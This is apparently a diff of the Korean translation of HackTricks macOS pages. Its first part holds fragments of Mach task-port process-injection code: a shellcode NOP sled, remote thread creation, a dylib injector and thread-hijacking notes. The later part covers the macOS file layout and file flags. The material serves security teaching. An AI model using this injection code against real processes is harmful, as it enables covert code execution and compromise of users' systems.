printf("Failed to get task for PID %d: %s\n", target_pid, mach_error_string(kr));
|
||||
return 0;
|
||||
}
|
||||
|
||||
const char *shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
|
||||
이전 프로그램을 **컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **엔터티먼트**를 추가하십시오 (그렇지 않으면 **sudo**를 사용해야 합니다).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
|
@ -565,15 +540,15 @@ return 0;
|
|||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Task 포트를 통한 스레드 내 Dylib 주입
|
||||
### Task port를 통한 스레드 내 Dylib Injection
|
||||
|
||||
macOS에서 **스레드**는 **Mach**를 통해 조작되거나 **posix `pthread` API**를 사용하여 조작될 수 있습니다. 이전 주입에서 생성한 스레드는 Mach API를 사용하여 생성되었으므로 **posix 호환되지 않습니다**.
|
||||
macOS에서 **스레드**는 **Mach**를 통해 조작되거나 **posix `pthread` api**를 사용하여 조작될 수 있습니다. 이전 인젝션에서 생성된 스레드는 Mach api를 사용하여 생성되었기 때문에 **posix 호환성이 없습니다**.
|
||||
|
||||
**간단한 쉘코드를 주입**하여 명령을 실행할 수 있었던 이유는 **posix 호환 API와 작업할 필요가 없었기 때문**입니다. Mach만 필요했습니다. **더 복잡한 주입**을 위해서는 스레드도 **posix 호환**이어야 합니다.
|
||||
**단순한 쉘코드를 인젝션**하여 명령을 실행하는 것이 가능했던 이유는 **posix 호환성이 필요하지 않았기 때문**이며, Mach와만 작동해도 충분했습니다. **더 복잡한 인젝션**을 하려면 **스레드**가 **posix 호환성**을 갖추어야 합니다.
|
||||
|
||||
따라서, 스레드를 **개선**하기 위해 **`pthread_create_from_mach_thread`**를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 dylib을 **로드하기 위해 dlopen을 호출**할 수 있으므로 다른 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
|
||||
따라서 **스레드를 개선**하기 위해 **`pthread_create_from_mach_thread`**를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 **dylib를 로드**하기 위해 **dlopen을 호출**할 수 있으므로, 다른 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
|
||||
|
||||
예를 들어, (로그를 생성하고 해당 로그를 청취할 수 있는) **예제 dylib**을 다음에서 찾을 수 있습니다:
|
||||
예를 들어, (로그를 생성하고 해당 로그를 수신할 수 있는) **예제 dylibs**를 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
@ -782,32 +757,32 @@ return (-3);
|
|||
|
||||
// Set the permissions on the allocated code memory
|
||||
```kr
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"원격 스레드의 코드에 대한 메모리 권한을 설정할 수 없습니다: 오류 %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"원격 스레드 코드의 메모리 권한을 설정할 수 없음: 오류 %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// 할당된 스택 메모리의 권한 설정
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"원격 스레드의 스택에 대한 메모리 권한을 설정할 수 없습니다: 오류 %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"원격 스레드 스택의 메모리 권한을 설정할 수 없음: 오류 %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// 쉘코드를 실행할 스레드 생성
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // 실제 스택
|
||||
//remoteStack64 -= 8; // 16의 정렬 필요
|
||||
//remoteStack64 -= 8; // 16의 정렬이 필요함
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
|
@ -822,7 +797,7 @@ kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64
|
|||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"원격 스레드를 생성할 수 없습니다: 오류 %s", mach_error_string (kr));
|
||||
fprintf(stderr,"원격 스레드를 생성할 수 없음: 오류 %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -836,7 +811,7 @@ int main(int argc, const char * argv[])
|
|||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "사용법: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: 디스크에 있는 dylib의 경로\n");
|
||||
fprintf (stderr, " _action_: 디스크에 있는 dylib 경로\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -848,7 +823,7 @@ int rc = stat (action, &buf);
|
|||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib를 찾을 수 없습니다\n");
|
||||
fprintf(stderr,"Dylib를 찾을 수 없음\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -858,7 +833,7 @@ fprintf(stderr,"Dylib를 찾을 수 없습니다\n");
|
|||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### 작업 포트를 통한 스레드 하이재킹 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
### Task port를 통한 스레드 하이재킹 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
이 기술에서는 프로세스의 스레드가 하이재킹됩니다:
|
||||
|
||||
|
@ -870,19 +845,19 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
### 기본 정보
|
||||
|
||||
XPC는 macOS 및 iOS에서 프로세스 간 통신을 위한 XNU(맥 운영체제에서 사용되는 커널) 인터프로세스 통신 프레임워크입니다. XPC는 시스템 내에서 서로 다른 프로세스 간에 안전하고 비동기적인 메서드 호출을 수행하기 위한 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소가 작업을 수행하기 위해 필요한 권한만 가지고 실행되는 권한 분리 애플리케이션의 생성을 허용하여, 침해된 프로세스로부터의 잠재적인 피해를 제한합니다.
|
||||
XPC는 macOS 및 iOS에서 사용되는 XNU(커널) Inter-Process Communication의 약자로, macOS 및 iOS에서 프로세스 간 통신을 위한 프레임워크입니다. XPC는 시스템 내에서 다른 프로세스 간에 안전하고 비동기적인 메소드 호출을 할 수 있는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소가 작업을 수행하는 데 필요한 권한만 갖고 있는 권한 분리 애플리케이션의 생성을 허용하여, 침해된 프로세스로부터의 잠재적인 피해를 제한합니다.
|
||||
|
||||
이 **통신이 작동하는 방식**과 **취약할 수 있는 방법**에 대한 자세한 정보는 다음을 참조하십시오:
|
||||
이 **통신이 작동하는 방식** 및 **취약할 수 있는 방법**에 대한 자세한 정보는 확인하세요:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
||||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Mach 인터페이스 생성기
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습니다. 기본적으로 주어진 정의와 서버 및 클라이언트 간의 통신에 필요한 코드를 생성합니다. 생성된 코드가 어색하더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습니다. 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 필요한 코드를 생성합니다. 생성된 코드가 어색하더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
|
||||
자세한 내용은 다음을 확인하십시오:
|
||||
자세한 정보는 확인하세요:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
|
@ -898,14 +873,14 @@ MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,46 +2,46 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 파일 계층 구조 레이아웃
|
||||
## 파일 계층 구조
|
||||
|
||||
* **/Applications**: 설치된 앱은 여기에 있어야 합니다. 모든 사용자가 액세스할 수 있습니다.
|
||||
* **/Applications**: 설치된 앱이 여기에 있어야 합니다. 모든 사용자가 액세스할 수 있습니다.
|
||||
* **/bin**: 명령 줄 이진 파일
|
||||
* **/cores**: 존재하는 경우, 코어 덤프를 저장하는 데 사용됩니다.
|
||||
* **/cores**: 코어 덤프를 저장하는 데 사용됩니다.
|
||||
* **/dev**: 모든 것이 파일로 처리되므로 하드웨어 장치가 여기에 저장될 수 있습니다.
|
||||
* **/etc**: 구성 파일
|
||||
* **/Library**: 환경 설정, 캐시 및 로그와 관련된 많은 하위 디렉터리와 파일이 여기에 있을 수 있습니다. 루트 및 각 사용자 디렉터리에 Library 폴더가 있습니다.
|
||||
* **/private**: 문서화되지 않았지만, 언급된 많은 폴더는 private 디렉터리로의 심볼릭 링크입니다.
|
||||
* **/sbin**: 핵심 시스템 이진 파일 (관리와 관련됨)
|
||||
* **/System**: OS X를 실행하기 위한 파일입니다. 주로 Apple 특정 파일만 여기에서 찾을 수 있습니다 (타사 파일은 아님).
|
||||
* **/tmp**: 파일은 3일 후에 삭제됩니다 (/private/tmp로의 소프트 링크입니다).
|
||||
* **/Library**: 여기에는 환경 설정, 캐시 및 로그와 관련된 많은 하위 디렉터리 및 파일이 있습니다. 루트 및 각 사용자 디렉터리에 Library 폴더가 있습니다.
|
||||
* **/private**: 문서화되지 않았지만 언급된 많은 폴더가 private 디렉토리로의 심볼릭 링크입니다.
|
||||
* **/sbin**: 필수 시스템 이진 파일 (관리와 관련)
|
||||
* **/System**: OS X를 실행하기 위한 파일입니다. 여기에는 주로 Apple 특정 파일만 있어야 합니다 (제3자 파일이 아님).
|
||||
* **/tmp**: 파일은 3일 후에 삭제됩니다 (/private/tmp로의 소프트 링크)
|
||||
* **/Users**: 사용자의 홈 디렉터리입니다.
|
||||
* **/usr**: 구성 및 시스템 이진 파일
|
||||
* **/var**: 로그 파일
|
||||
* **/Volumes**: 마운트된 드라이브가 여기에 나타납니다.
|
||||
* **/.vol**: `stat a.txt`를 실행하면 `16777223 7545753 -rw-r--r-- 1 username wheel ...`와 같은 결과를 얻을 수 있습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째 숫자는 inode 번호입니다. 이 정보를 사용하여 /.vol/에서 이 파일의 내용에 액세스할 수 있습니다. `cat /.vol/16777223/7545753`을 실행하세요.
|
||||
* **/.vol**: `stat a.txt`를 실행하면 `16777223 7545753 -rw-r--r-- 1 username wheel ...`와 같은 내용을 얻을 수 있습니다. 여기서 첫 번째 숫자는 파일이 존재하는 볼륨의 ID 번호이고 두 번째 숫자는 inode 번호입니다. 이 정보를 사용하여 `cat /.vol/16777223/7545753`를 실행하여 이 파일의 내용에 액세스할 수 있습니다.
|
||||
|
||||
### 애플리케이션 폴더
|
||||
|
||||
* **시스템 애플리케이션**은 `/System/Applications`에 위치합니다.
|
||||
* **설치된** 애플리케이션은 일반적으로 `/Applications` 또는 `~/Applications`에 설치됩니다.
|
||||
* **애플리케이션 데이터**는 루트로 실행되는 애플리케이션의 경우 `/Library/Application Support`에, 사용자로 실행되는 애플리케이션의 경우 `~/Library/Application Support`에 있을 수 있습니다.
|
||||
* **루트로 실행되어야 하는** 타사 애플리케이션 **데몬**은 일반적으로 `/Library/PrivilegedHelperTools/`에 위치합니다.
|
||||
* **샌드박스** 앱은 `~/Library/Containers` 폴더에 매핑됩니다. 각 앱은 애플리케이션의 번들 ID (`com.apple.Safari`)에 따라 이름이 지정된 폴더를 가지고 있습니다.
|
||||
* **커널**은 `/System/Library/Kernels/kernel`에 위치합니다.
|
||||
* **Apple의 커널 확장**은 `/System/Library/Extensions`에 위치합니다.
|
||||
* **타사 커널 확장**은 `/Library/Extensions`에 저장됩니다.
|
||||
* **애플리케이션 데이터**는 루트로 실행되는 애플리케이션의 경우 `/Library/Application Support`에서 찾을 수 있으며 사용자로 실행되는 애플리케이션의 경우 `~/Library/Application Support`에 있습니다.
|
||||
* **루트로 실행해야 하는** 제3자 애플리케이션 **데몬**은 일반적으로 `/Library/PrivilegedHelperTools/`에 위치합니다.
|
||||
* **샌드박스** 앱은 `~/Library/Containers` 폴더로 매핑됩니다. 각 앱은 애플리케이션 번들 ID에 따라 이름이 지정된 폴더를 가지고 있습니다 (`com.apple.Safari`).
|
||||
* **커널**은 `/System/Library/Kernels/kernel`에 있습니다.
|
||||
* **Apple의 커널 확장**은 `/System/Library/Extensions`에 있습니다.
|
||||
* **제3자 커널 확장**은 `/Library/Extensions`에 저장됩니다.
|
||||
|
||||
### 민감한 정보가 포함된 파일
|
||||
|
||||
|
@ -60,37 +60,37 @@ MacOS는 비밀번호와 같은 정보를 여러 위치에 저장합니다:
|
|||
## OS X 특정 확장자
|
||||
|
||||
* **`.dmg`**: Apple 디스크 이미지 파일은 설치 프로그램에서 매우 빈번하게 사용됩니다.
|
||||
* **`.kext`**: 특정 구조를 따라야 하며, OS X 버전의 드라이버입니다. (번들입니다)
|
||||
* **`.plist`**: 속성 목록으로 알려진 파일은 XML 또는 이진 형식으로 정보를 저장합니다.
|
||||
* **`.kext`**: 특정 구조를 따라야 하며 드라이버의 OS X 버전입니다. (번들입니다)
|
||||
* **`.plist`**: XML 또는 이진 형식으로 정보를 저장하는 속성 목록으로도 알려져 있습니다.
|
||||
* XML 또는 이진 형식일 수 있습니다. 이진 파일은 다음과 같이 읽을 수 있습니다:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: 디렉터리 구조를 따르는 Apple 애플리케이션입니다 (번들입니다).
|
||||
* **`.app`**: 디렉터리 구조를 따르는 Apple 애플리케이션 (번들입니다).
|
||||
* **`.dylib`**: 동적 라이브러리 (Windows DLL 파일과 유사)
|
||||
* **`.pkg`**: xar (eXtensible Archive 형식)와 동일합니다. installer 명령을 사용하여 이러한 파일의 내용을 설치할 수 있습니다.
|
||||
* **`.DS_Store`**: 이 파일은 각 디렉터리에 있으며, 디렉터리의 속성과 사용자 정의를 저장합니다.
|
||||
* **`.Spotlight-V100`**: 이 폴더는 시스템의 모든 볼륨의 루트 디렉터리에 나타납니다.
|
||||
* **`.DS_Store`**: 각 디렉토리에 있는 이 파일은 디렉토리의 속성과 사용자 정의를 저장합니다.
|
||||
* **`.Spotlight-V100`**: 이 폴더는 시스템의 모든 볼륨의 루트 디렉토리에 나타납니다.
|
||||
* **`.metadata_never_index`**: 이 파일이 볼륨의 루트에 있으면 Spotlight는 해당 볼륨을 색인화하지 않습니다.
|
||||
* **`.noindex`**: 이 확장자를 가진 파일과 폴더는 Spotlight에 의해 색인화되지 않습니다.
|
||||
* **`.noindex`**: 이 확장자가 있는 파일 및 폴더는 Spotlight에 의해 색인화되지 않습니다.
|
||||
|
||||
### macOS 번들
|
||||
|
||||
번들은 Finder에서 객체처럼 보이는 **디렉터리**입니다 (번들 예시는 `*.app` 파일입니다).
|
||||
번들은 **Finder의 객체처럼 보이는 디렉터리**입니다 (예: `*.app` 파일).
|
||||
|
||||
{% content-ref url="macos-bundles.md" %}
|
||||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dyld 공유 캐시
|
||||
## Dyld Shared Cache
|
||||
|
||||
macOS (및 iOS)에서 모든 시스템 공유 라이브러리 (프레임워크 및 dylib과 같은)는 **단일 파일**인 **dyld 공유 캐시**에 **결합**됩니다. 이렇게 하면 코드를 더 빠르게 로드할 수 있어 성능이 향상됩니다.
|
||||
macOS (및 iOS)에서 모든 시스템 공유 라이브러리, 프레임워크 및 dylib와 같은 파일은 **단일 파일인** dyld 공유 캐시로 **결합**됩니다. 이렇게 하면 코드를 더 빨리 로드할 수 있어 성능이 향상됩니다.
|
||||
|
||||
dyld 공유 캐시와 유사하게, 커널과 커널 확장도 부팅 시간에 로드되는 커널 캐시로 컴파일됩니다.
|
||||
dyld 공유 캐시와 유사하게, 커널 및 커널 확장도 부팅 시간에 로드되는 커널 캐시로 컴파일됩니다.
|
||||
|
||||
단일 파일 dylib 공유 캐시에서 라이브러리를 추출하기 위해 이전에는 이진 파일 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip)을 사용할 수 있었지만, 현재는 작동하지 않을 수도 있습니다. 대신 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수도 있습니다:
|
||||
단일 파일 dylib 공유 캐시에서 라이브러리를 추출하려면 이제는 작동하지 않을 수 있는 이진 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip)을 사용할 수 있었지만 [**dyldextractor**](https://github.com/arandomdev/dyldextractor)를 사용할 수도 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -104,62 +104,96 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이전 버전에서는 **`/System/Library/dyld/`**에서 **공유 캐시**를 찾을 수 있을 수도 있습니다.
|
||||
이전 버전에서는 **`/System/Library/dyld/`**에서 **`공유 캐시(shared cache)`**를 찾을 수 있습니다.
|
||||
|
||||
iOS에서는 **`/System/Library/Caches/com.apple.dyld/`**에서 찾을 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
`dyld_shared_cache_util` 도구가 작동하지 않더라도, **공유 dyld 바이너리를 Hopper에 전달**하면 Hopper가 모든 라이브러리를 식별하고 **조사할 라이브러리를 선택**할 수 있습니다:
|
||||
`dyld_shared_cache_util` 도구가 작동하지 않더라도 **공유 dyld 이진 파일을 Hopper에 전달**하여 Hopper가 모든 라이브러리를 식별하고 **조사하려는 라이브러리를 선택**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 특수 파일 권한
|
||||
## 특별한 파일 권한
|
||||
|
||||
### 폴더 권한
|
||||
|
||||
**폴더**에서 **읽기**는 **목록을 보는 것**을 허용하고, **쓰기**는 **파일을 삭제하고 쓰는 것**을 허용하며, **실행**은 **디렉토리를 탐색하는 것**을 허용합니다. 예를 들어, **폴더 내의 파일에 대해 읽기 권한**을 가진 사용자는 **실행 권한이 없는 디렉토리**에서는 파일을 **읽을 수 없습니다**.
|
||||
**폴더**에서 **읽기**는 **목록을 보여주는 것**을 허용하고, **쓰기**는 **파일을 삭제하고 쓰는 것**을 허용하며, **실행**은 **디렉토리를 통과하는 것**을 허용합니다. 예를 들어, 사용자가 **실행 권한이 없는 디렉토리** 안에 있는 **파일을 읽을 수 없습니다**.
|
||||
|
||||
### 플래그 수정자
|
||||
|
||||
파일에 설정된 일부 플래그는 파일의 동작을 다르게 만들 수 있습니다. `ls -lO /path/directory` 명령을 사용하여 디렉토리 내의 파일의 플래그를 **확인**할 수 있습니다.
|
||||
파일에 설정할 수 있는 일부 플래그가 있으며, 파일의 동작을 다르게 만들 수 있습니다. `ls -lO /경로/디렉토리`로 디렉토리 내의 파일의 플래그를 확인할 수 있습니다.
|
||||
|
||||
* **`uchg`**: **uchange** 플래그라고도 알려져 있으며, **파일을 변경하거나 삭제하는 모든 작업을 방지**합니다. 이를 설정하려면 `chflags uchg file.txt`를 사용합니다.
|
||||
* root 사용자는 **플래그를 제거**하고 파일을 수정할 수 있습니다.
|
||||
* **`restricted`**: 이 플래그는 파일이 **SIP로 보호**되도록 만듭니다(이 플래그를 파일에 추가할 수 없음).
|
||||
* **`Sticky bit`**: Sticky bit가 있는 디렉토리의 경우, **디렉토리 소유자 또는 root만 파일 이름을 변경하거나 삭제**할 수 있습니다. 일반적으로 이는 /tmp 디렉토리에 설정되어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하지 못하도록 합니다.
|
||||
* **`uchg`**: **uchange** 플래그는 **파일을 변경하거나 삭제하는 모든 작업을 방지**합니다. 이를 설정하려면: `chflags uchg file.txt`
|
||||
* 루트 사용자는 **플래그를 제거**하고 파일을 수정할 수 있습니다.
|
||||
* **`restricted`**: 이 플래그는 파일을 **SIP로 보호**합니다(이 플래그를 파일에 추가할 수 없습니다).
|
||||
* **`Sticky bit`**: Sticky bit가 있는 디렉토리의 경우, **디렉토리 소유자 또는 루트만 파일 이름을 바꾸거나 삭제**할 수 있습니다. 일반적으로 이것은 /tmp 디렉토리에 설정되어 있어 일반 사용자가 다른 사용자의 파일을 삭제하거나 이동하는 것을 방지합니다.
|
||||
|
||||
모든 플래그는 파일 `sys/stat.h`에서 찾을 수 있으며(`mdfind stat.h | grep stat.h`를 사용하여 찾을 수 있음) 다음과 같습니다:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff: 소유자 변경 가능한 플래그 마스크.
|
||||
* `UF_NODUMP` 0x00000001: 파일을 덤프하지 마십시오.
|
||||
* `UF_IMMUTABLE` 0x00000002: 파일을 변경할 수 없습니다.
|
||||
* `UF_APPEND` 0x00000004: 파일에 쓸 때는 항상 추가합니다.
|
||||
* `UF_OPAQUE` 0x00000008: 연합에 대해 디렉토리가 불투명합니다.
|
||||
* `UF_COMPRESSED` 0x00000020: 파일이 압축되어 있습니다(일부 파일 시스템).
|
||||
* `UF_TRACKED` 0x00000040: 이 플래그가 설정된 파일에 대해 삭제/이름 바꾸기에 대한 알림이 없습니다.
|
||||
* `UF_DATAVAULT` 0x00000080: 읽기 및 쓰기에 대한 권한이 필요합니다.
|
||||
* `UF_HIDDEN` 0x00008000: 이 항목이 GUI에 표시되지 않아야 함을 나타냅니다.
|
||||
* `SF_SUPPORTED` 0x009f0000: 슈퍼 사용자가 지원하는 플래그 마스크.
|
||||
* `SF_SETTABLE` 0x3fff0000: 슈퍼 사용자가 변경할 수 있는 플래그 마스크.
|
||||
* `SF_SYNTHETIC` 0xc0000000: 시스템 읽기 전용 합성 플래그 마스크.
|
||||
* `SF_ARCHIVED` 0x00010000: 파일이 보관됨.
|
||||
* `SF_IMMUTABLE` 0x00020000: 파일을 변경할 수 없습니다.
|
||||
* `SF_APPEND` 0x00040000: 파일에 쓸 때는 항상 추가합니다.
|
||||
* `SF_RESTRICTED` 0x00080000: 쓰기에 대한 권한이 필요합니다.
|
||||
* `SF_NOUNLINK` 0x00100000: 항목을 제거하거나 이름을 바꾸거나 마운트할 수 없습니다.
|
||||
* `SF_FIRMLINK` 0x00800000: 파일이 firmlink입니다.
|
||||
* `SF_DATALESS` 0x40000000: 파일이 데이터가 없는 객체입니다.
|
||||
|
||||
### **파일 ACLs**
|
||||
|
||||
파일 **ACLs**에는 다른 사용자에게 **더 세분화된 권한**을 할당할 수 있는 **ACE** (Access Control Entries)가 포함됩니다.
|
||||
